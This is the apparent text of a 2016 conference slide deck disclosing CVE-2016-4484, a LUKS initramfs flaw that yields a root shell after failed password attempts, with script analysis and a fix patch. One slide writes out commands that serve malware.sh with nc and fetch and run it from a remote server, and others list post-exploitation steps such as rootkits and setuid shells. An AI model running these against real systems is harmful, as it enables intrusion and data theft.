Abusing luks to hack the system DeepSec 10-11 Nov 2016 Vienna, - - PowerPoint PPT Presentation

abusing luks to hack the system
SMART_READER_LITE
LIVE PREVIEW

Abusing luks to hack the system DeepSec 10-11 Nov 2016 Vienna, - - PowerPoint PPT Presentation

Abusing luks to hack the system DeepSec 10-11 Nov 2016 Vienna, Austria Ismael Ripoll-Ripoll Hector Marco-Gisbert iripoll@upv.es hmarco@hmarco.org Universitat Politcnica de Valncia hector.marco@uws.ac.uk University of the West of


slide-1
SLIDE 1

Abusing luks to hack the system

Hector Marco-Gisbert

hmarco@hmarco.org hector.marco@uws.ac.uk

University of the West of Scotland Ismael Ripoll-Ripoll

iripoll@upv.es

Universitat Politècnica de València https://cybersecurity.upv.es

DeepSec 10-11 Nov 2016 – Vienna, Austria

slide-2
SLIDE 2

2

Contents

1) About complexity and security. 2) A real bug, caused by excessive complexity 1) Overview of the exploitatjon scenario. 2) Analysis of the vulnerability. 3) A real demo of exploitatjon. 3) Conclusions

  • The vulnerability analyzed is CVE-2016-4484.
  • The issue has been reported to the developers.
slide-3
SLIDE 3

3

About complexity “Complexity is the Enemy of Security” Adding new security mechanisms => increases the complexity => larger bug surface (code++, interactjons++) => potentjally weaker system.

slide-4
SLIDE 4

4

About complexity

  • There are many sources of “Complexity”:

– APIs can be large, baroque and cumbersome. – Communicatjon protocols can be complex. – The hardware may be complex

  • And so the drivers.
  • Fightjng complexity:

1) Simplify → reduce(remove) functjonality. 2) Split, Isolate and then Combine.

Mars Climate Orbiter, Nov. 10, 1999

slide-5
SLIDE 5

5

Factors which may infmuence complexity:

  • size of the sofuware
  • number of components
  • number of relatjonships between them
  • the complexity of the algorithms
  • number of internal and external interfaces
  • tools available to visualise sofuware
  • the cognitjve capacity of the observer
  • ….

Complexity measurement

ESA Guide for Independent Sofuware Verifjcatjon & Validatjon: Error potentjal questjonnaire

1) Is the number of people in the sofuware development team more than 20 ? 2) Is the development team split across several geographical working locatjons (more than 5 minutes walking distance) ? 3) Is the maturity of the sofuware development team’s process low (...) ? 4) Is the sofuware development team lacking in experience with the sofuware technology, the domain, or the applicatjon ? 5) Is the sofuware supplier lacking in experience of the required critjcality level ? 6) Does development of the sofuware require innovatjve designs ? 7) Are sofuware requirements stjll unstable ? 8) Is the complexity complexity of the sofuware high ?

The team The product

slide-6
SLIDE 6

6

Complexity

  • Some bugs that can be atuributed to complexity

complexity are also complex complex to exploit:

– OpenSSL FREAK requires MITM capabilitjes. – It took more that one year from RowHammer to Flip Fen Shui

  • r DRAMMER.
  • Not not all of them are hard to exploit

This presentatjon shows an example of a bug that is simple to exploit, caused by the unexpected interactjon between modules in a complex system.

slide-7
SLIDE 7

7

A real bug caused by complexity

  • LUKS

LUKS is a disk encryptjon sofuware.

  • It is the one used by Debian/Ubuntu by

default.

  • The bootjng sequence is a complex process:

1) BIOS/UEFI. 2) GRUB. 3) Initrd: Luks setup. Luks setup. 4) Systemd/upstart.

slide-8
SLIDE 8

8

Boot sequence: default install

8

Initial setup

BIOS/UEFI GRUB Kernel initrd ROM Boot partition

Init Servers Login

PASS

Applications

Encrypted system partition

PASS

Mandatory Mandatory

slide-9
SLIDE 9

9

Securing the boot

  • Both, BIOS/UEFI and GRUB are too powerful.
  • By default, they are not protected

– It is possible to change the boot device in the BIOS.

Just hittjng the <F2> key to enter confjg menu.

– By pressing <ESC> you get the GRUB menu, and so

edit the kernel parameters → get a root shell easily.

  • It is necessary to block these atuack vectors:

– BIOS password. – GRUB password.

slide-10
SLIDE 10

10

Boot protectjon

10

Initial setup

BIOS/UEFI GRUB Kernel initrd ROM Boot partition

Init Servers Login

PASS

Applications

Encrypted system partition

PASS PASS PASS

Necessary only for editing Mandatory Necessary only for editing Mandatory

slide-11
SLIDE 11

11

Initrd: preparatjons to mount the real root fjlesystem

  • Discover existjng hardware.
  • Some devices (sata, USB, etc.) may need some tjme

to warm-up.

  • The init scripts allows hardware to fail a few tjmes

untjl it becomes ready.

– There may be transient errors or dependencies

between hardware devices.

  • There is a wide variety of bootjng devices.
  • ….
slide-12
SLIDE 12

12

Mountjng the encrypted partjtjon

  • If the system partjtjon is encrypted

system partjtjon is encrypted then the init process must ask to the user the password in order to unlock and mount. Can an atuacker abuse this interface?

slide-13
SLIDE 13

13

Let’s analyze /init and related scripts

  • GRUB loads: vmlinuz & initrd.img

Linux kernel Uncompressed Initrd ramfs init

Initrd.img

vmlinuz

Boot partjtjon RAM

…. ??? init ??? scripts/ ??? functions ??? init-bottom/ ? ??? ORDER ? ??? udev ??? init-premount/ ? ??? lvm2 ? ??? ORDER ? ??? plymouth ??? init-top/ ? ??? …. ??? local ??? local-block/ ? ??? cryptroot ? ??? lvm2 ? ??? ORDER ??? local-bottom/ ? ??? cryptopensc ? ??? ntfs_3g ? ??? ORDER ??? local-premount/ ? ??? …. ??? local-top/ ? ??? cryptopensc ? ??? cryptroot ? ??? lvm2 ? ??? ORDER ??? panic/ ??? console_setup ??? keymap ??? ORDER ??? plymouth

... cryptroot

slide-14
SLIDE 14

14

The /init script @ initramfs

#!/bin/sh # Default PATH differs between shells, and is not automatically exported # by klibc dash. Make it consistent. export PATH=/sbin:/usr/sbin:/bin:/usr/bin [ -d /dev ] || mkdir -m 0755 /dev [ -d /root ] || mkdir -m 0700 /root [ -d /sys ] || mkdir /sys [ -d /proc ] || mkdir /proc [ -d /tmp ] || mkdir /tmp mkdir -p /var/lock mount -t sysfs -o nodev,noexec,nosuid sysfs /sys mount -t proc -o nodev,noexec,nosuid proc /proc … . /scripts/local . /scripts/local . /scripts/nfs . /scripts/${BOOT} parse_numeric ${ROOT} maybe_break mountroot mount_top mount_premount mountroot mountroot …

/init

/scripts/local:mountroot

slide-15
SLIDE 15

15

local_mount_root()

  • Multjple atuempts to mount fjlesystems

mountroot() { local_mount_root } local_mount_root() { local_top local_top local_device_setup "${ROOT}" root … … }

/scripts/local

1

slide-16
SLIDE 16

16

local_mount_root()

  • Multjple trials to mount fjlesystems

mountroot() { local_mount_root } local_mount_root() { local_top local_top local_device_setup "${ROOT}" root … … }

/scripts/local

1

local_top local_top() { if [ "${local_top_used}" != "yes" ]; then [ "$quiet" != "y" ] && log_begin_msg "Run... run_scripts /scripts/local-top [ "$quiet" != "y" ] && log_end_msg fi local_top_used=yes } local_top local_top() { if [ "${local_top_used}" != "yes" ]; then [ "$quiet" != "y" ] && log_begin_msg "Run... run_scripts /scripts/local-top [ "$quiet" != "y" ] && log_end_msg fi local_top_used=yes }

slide-17
SLIDE 17

17

local_mount_root()

  • Multjple trials to mount fjlesystems

mountroot() { local_mount_root } local_mount_root() { local_top local_top local_device_setup "${ROOT}" root … … }

/scripts/local

1

local_top local_top() { if [ "${local_top_used}" != "yes" ]; then [ "$quiet" != "y" ] && log_begin_msg "Run... run_scripts /scripts/local-top run_scripts /scripts/local-top [ "$quiet" != "y" ] && log_end_msg fi local_top_used=yes } local_top local_top() { if [ "${local_top_used}" != "yes" ]; then [ "$quiet" != "y" ] && log_begin_msg "Run... run_scripts /scripts/local-top run_scripts /scripts/local-top [ "$quiet" != "y" ] && log_end_msg fi local_top_used=yes } /script/local-top/cryptroot /script/local-top/cryptroot

slide-18
SLIDE 18

18

setup_mapping() { …. crypttries=3 …. while [ $crypttries -le 0 ] || [ $count -lt $crypttries ]; do …. if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \ $cryptkeyscript "$cryptkey" | $cryptopen; then message "cryptsetup: cryptsetup failed, bad password or options?" continue fi …. done if [ $crypttries -gt 0 ] && [ $count -gt $crypttries ]; then message "cryptsetup: maximum number of tries exceeded for $crypttarget" return 1 fi udev_settle return 0 } …. # Do we have any settings from the /conf/conf.d/cryptroot file? if [ -r /conf/conf.d/cryptroot ]; then while read mapping <&3; do setup_mapping "$mapping" 3<&- setup_mapping "$mapping" 3<&- done 3< /conf/conf.d/cryptroot fi

/scripts/local-top/cryptroot

The /scripts/local-top/cryptroot

2 1

For each encrypted device: Try to unlock it cyptkeyscript=/lib/cryptsetup/askpass

slide-19
SLIDE 19

19

setup_mapping() { …. crypttries=3 …. while [ $crypttries -le 0 ] || [ $count -lt $crypttries ]; do …. if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \ $cryptkeyscript "$cryptkey" | $cryptopen; then message "cryptsetup: cryptsetup failed, bad password or options?" continue fi …. done if [ $crypttries -gt 0 ] && [ $count -gt $crypttries ]; then message "cryptsetup: maximum number of tries exceeded for $crypttarget" return 1 fi udev_settle return 0 } …. # Do we have any settings from the /conf/conf.d/cryptroot file? if [ -r /conf/conf.d/cryptroot ]; then while read mapping <&3; do setup_mapping "$mapping" 3<&- setup_mapping "$mapping" 3<&- done 3< /conf/conf.d/cryptroot fi

/scripts/local-top/cryptroot

The /scripts/local-top/cryptroot

2 1 3 4

Never enters → always returns 0 For each encrypted device: Try to unlock it

slide-20
SLIDE 20

20

The /scripts/local-top/cryptroot output

slide-21
SLIDE 21

21

The /scripts/local-top/cryptroot output

slide-22
SLIDE 22

22

Back to local_mount_root()

mountroot() { local_mount_root } local_mount_root() { local_top local_top local_device_setup local_device_setup "${ROOT}" root "${ROOT}" root … … }

/scripts/local

2 1

  • local_top() fails 3 tjmes and return 0 (ok)

Even returning 1 (fail) it wouldn’t be checked!

  • And boot sequence contjnues.
  • What happens in local_device_setup() ?
slide-23
SLIDE 23

23

local_device_setup local_device_setup () { slumber=30 …. while true; do sleep 1 local_block "${dev_id}" if mounted; then break; fi slumber=$(( ${slumber} - 1 )) if [ ${slumber} -eq 0 ]; then log_end_msg 1 || true break fi done …. # We've given up, but we'll let the user fix matters if they can while ! real_dev=$(resolve_device "${dev_id}") || ! get_fstype "${real_dev}" >/dev/null; do echo "Gave up waiting for ${name} device. Common problems:" echo " - Boot args (cat /proc/cmdline)" echo " - Check rootdelay= (did the system wait long enough?)" if [ "${name}" = root ]; then echo " - Check root= (did the system wait for the right device?)" fi echo " - Missing modules (cat /proc/modules; ls /dev)" panic "ALERT! ${dev_id} does not exist. Dropping to a shell!" done …. }

/scripts/local

2 1

/scripts/local:local_block()

local_device_setup()

slide-24
SLIDE 24

24

local_block()

local_block() { [ "$quiet" != "y" ] && log_begin_msg "Running /scripts/local-block" run_scripts /scripts/local-block "$@" [ "$quiet" != "y" ] && log_end_msg }

/scripts/local

…. if [ -x /scripts/local-top/cryptroot ]; then exec /scripts/local-top/cryptroot fi

/scripts/local-block

Asks the password

  • f the root partjtjon

3 tjmes and 3 tjmes and fjnishes normally fjnishes normally

setup_mapping() { …. crypttries=3 …. while [ $crypttries -le 0 ] || [ $count -lt $crypttries ]; do …. if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \ $cryptkeyscript "$cryptkey" | $cryptopen; then message "cryptsetup: cryptsetup failed, bad password or options?" continue fi …. done if [ $crypttries -gt 0 ] && [ $count -gt $crypttries ]; then message "cryptsetup: maximum number of tries exceeded for $crypttarget" return 1 fi udev_settle return 0 } …. # Do we have any settings from the /conf/conf.d/cryptroot file? if [ -r /conf/conf.d/cryptroot ]; then while read mapping <&3; do setup_mapping "$mapping" 3<&- setup_mapping "$mapping" 3<&- done 3< /conf/conf.d/cryptroot fi

/scripts/local-top/cryptroot

2 1 3 4

For each filesystem: Try to unlock and mount it Never enters → always returns 0

setup_mapping() { …. crypttries=3 …. while [ $crypttries -le 0 ] || [ $count -lt $crypttries ]; do …. if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \ $cryptkeyscript "$cryptkey" | $cryptopen; then message "cryptsetup: cryptsetup failed, bad password or options?" continue fi …. done if [ $crypttries -gt 0 ] && [ $count -gt $crypttries ]; then message "cryptsetup: maximum number of tries exceeded for $crypttarget" return 1 fi udev_settle return 0 } …. # Do we have any settings from the /conf/conf.d/cryptroot file? if [ -r /conf/conf.d/cryptroot ]; then while read mapping <&3; do setup_mapping "$mapping" 3<&- setup_mapping "$mapping" 3<&- done 3< /conf/conf.d/cryptroot fi

/scripts/local-top/cryptroot

2 1 3 4

For each filesystem: Try to unlock and mount it Never enters → always returns 0

slide-25
SLIDE 25

25

local_device_setup () { slumber=30 …. while true; do sleep 1 local_block "${dev_id}" if mounted; then break; fi slumber=$(( ${slumber} - 1 )) if [ ${slumber} -eq 0 ]; then log_end_msg 1 || true break fi done …. # We've given up, but we'll let the user fix matters if they can while ! real_dev=$(resolve_device "${dev_id}") || ! get_fstype "${real_dev}" >/dev/null; do echo "Gave up waiting for ${name} device. Common problems:" echo " - Boot args (cat /proc/cmdline)" echo " - Check rootdelay= (did the system wait long enough?)" if [ "${name}" = root ]; then echo " - Check root= (did the system wait for the right device?)" fi echo " - Missing modules (cat /proc/modules; ls /dev)" panic "ALERT! ${dev_id} does not exist. Dropping to a shell!" done …. }

/scripts/local

2 3 4

  • Sleep 1 sec
  • Asks the passwd 3 tjmes
  • Loop 30 tjmes

Which takes a litule more than 1 minute, and then keep going.

Back to local_device_setup()

1

slide-26
SLIDE 26

26

Problem overview

  • When the number of tries is reached, luks script

does not stop the system or prevents from further password atuempts.

  • Then the top level code (non-crypto code) handles

the “error” as if it were a hardware transient as if it were a hardware transient one and gives 30 more atuempts.

– 30 more atuempts looks like an infjnite loop unless the

code is reviewed.

  • Afuer 30 trials it drops a shell (busybox)

– So that the user can fjx the problem.

slide-27
SLIDE 27

27

Live demo

slide-28
SLIDE 28

28

And now. What can be done?

  • The root directory of initramfs is in RAM

– It is useless to change it. – But the boot partjtjon (where vmlinuz and initrd.img

live) is a non-encrypted partjtjon.

  • Change the initrd.img and capture the password.
  • Change vmlinux (or add a module): kenel rootkit.
  • Install a hidden setuid shell in /boot.
  • Other partjtjons may be not encrypted.
  • Access to the target LAN and jump to other

systems.

  • …..
slide-29
SLIDE 29

29

Automate the infectjon process

Download a malware from a remote server

  • Same vectors than in Grub 28 Vulnerability

http://hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html

[Remote server] (echo -e "HTTP/1.1 200 OK\nContent-type: text/html\n"; \ cat malware.sh) | nc -l 80 [Vulnerable victim]

(initramfs) dhclient eth0 (initramfs) wget http://REMOTE_SERVER_IP/ (initramfs) mv index.html deploy_malware.sh (initramfs) sh ./deploy_malware.sh

slide-30
SLIDE 30

30

Does Secure Boot help ?

  • Secure Boot prevents from infectjng vmlinuz and

initrd.img.

  • We cannot modify the the operatjon system without

been detected, but:

– We can send over the network the whole hard disc. – The whole hard disc can be destroyed (DoS). – Privilege escalatjon is stjll possible.

➢ /boot/.sh (setuid)

– Jump to other systems, etc.

slide-31
SLIDE 31

31

Impact

  • It is hard to fjgure out all the scenarios where this

bug can be exploited.

  • Local atuacks:

– Insiders: privilege escalatjon. – Systems accessible to the end user: libraries, e-

tjcket checking, ATM?, ...

  • Remote atuacks:

– Cloud computjng may be prone to this atuack.

  • Remote management technology.
  • IoT can create more scenarios in the future.
slide-32
SLIDE 32

32

The FIX

  • Afuer 3 atuempts halt.
  • -- a/scripts/local-top/cryptroot

2016-07-29 10:56:12.299794095 +0200 +++ b/scripts/local-top/cryptroot2016-07-29 11:00:57.287794370 +0200 @@ -273,6 +273,7 @@ # Try to get a satisfactory password $crypttries times count=0 + success=0 while [ $crypttries -le 0 ] || [ $count -lt $crypttries ]; do export CRYPTTAB_TRIED="$count" count=$(( $count + 1 )) @@ -349,12 +350,15 @@ fi message "cryptsetup: $crypttarget set up successfully" + success=1 break done

  • if [ $crypttries -gt 0 ] && [ $count -gt $crypttries ]; then
  • message "cryptsetup: maximum number of tries exceeded for $crypttarget"
  • return 1

+ if [ $success -eq 0 ]; then + message "cryptsetup: Maximum number of tries exceeded. Please reboot." + + while true; do while true; do + + /bin/sleep 100 /bin/sleep 100 + + done done fi

slide-33
SLIDE 33

33

Conclusions

  • This vulnerability is a nice example of:

– CWE-637: “Unnecessary Complexity in Protectjon

Mechanism (Not Using 'Economy of Mechanism')”, or/and

– CWE-636 “Not failing securely (‘Failing open’)”

  • Lessons learned:

– Failsafe must be reconsidered:

  • Halt is betuer than reboot the system.

– Linux systems tend to be “developer friendly”, but

it is no longer true.

  • Systems shall not have recovery trapdoors.
slide-34
SLIDE 34

34

Thanks for your atuentjon

Hector Marco-Gisbert

hmarco@hmarco.org hector.marco@uws.ac.uk

University of the West of Scotland Ismael Ripoll-Ripoll

iripoll@upv.es

Universitat Politècnica de València

https://cybersecurity.upv.es